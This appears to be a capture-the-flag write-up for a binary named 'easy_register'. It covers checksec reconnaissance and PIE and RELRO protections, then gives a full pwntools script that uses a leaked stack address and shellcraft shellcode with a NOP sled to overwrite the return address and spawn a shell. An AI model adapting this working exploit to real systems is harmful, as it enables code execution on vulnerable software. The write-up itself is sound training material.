Easy Register

Basic Executable Reconnaissance
the executable is not stripped which makes reverse engeneering easier because it doesnt hide function names and the executable is dynamically linked so the libc library which contains many external functions like fprintf() are not loaded within the executable but they dynamically linked at the execution time

we have two security configuration enabled.
PIE
PIE Position Independent Executable
which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are. But this does not mean it's impossible to exploit
FULL RELRO
FULL RELRO
makes the entire GOT read-only
which removes the ability to perform a "GOT overwrite" attack, where the GOT address of a function is overwritten with the location of another function or a ROP gadget an attacker wants to run
checksec --file=easy_register

so our purpose will be injecting shellcode somwhere in the stack and get code execution
Reverse Engineering using ghidra

let's look for jmp esp gadget using ropper so we can use it to put our shellcode on the esp

but it didn't exist so know we will exploit the leaked buffer address and use it to execute the shellcode that will be located at the buffer memory space
Attack Plan
overwite the buffer memory space on the stack with the shellcode generated by shellcraft and overwrite the RIP value (return address) with the address of the buffer (leaked buffer address) to return to the beginning of the shellcode and start executing it
Exploit Script using PwnTools
from pwn import *
# Set up pwntools for the correct architecture
exe = './easy_register'
elf = context.binary = ELF(exe, checksec=False)
#io = remote(host, port)
io = process(exe)
offset = 88
#getting the leaked buffer variable address on the stack
data = io.recvuntil(b"at ")
stack_addr = int(io.recvuntil(b".")[:-1], 16)
# Need to pop registers at the beginning to make room on stack
#without this it will not work because the space is not enough
shellcode = asm(shellcraft.popad())
#get root
shellcode += asm(shellcraft.sh())
shellcode += asm(shellcraft.exit())
#since we don't have the jmp esp gadget we will place our shellcode in the buffer variable on the stack
#overwrite RIP with the value of the leaked buffer variable address
#so we will start from the beginning and start execuing shellcode
padding = asm('nop') * (offset - len(shellcode))
payload = flat([
padding, #it depends on the length of the shellcode if the shellcode length is 70 then padding is 18
shellcode, #our shellcode will be placed on the buffer memory location
stack_addr, #RIP => return to the beginning of the buffer variable to start executing shellcode
])
write("payload", payload)
io.sendlineafter(b'>', payload)
io.interactive()
let's run it and we have shell

Last updated
Was this helpful?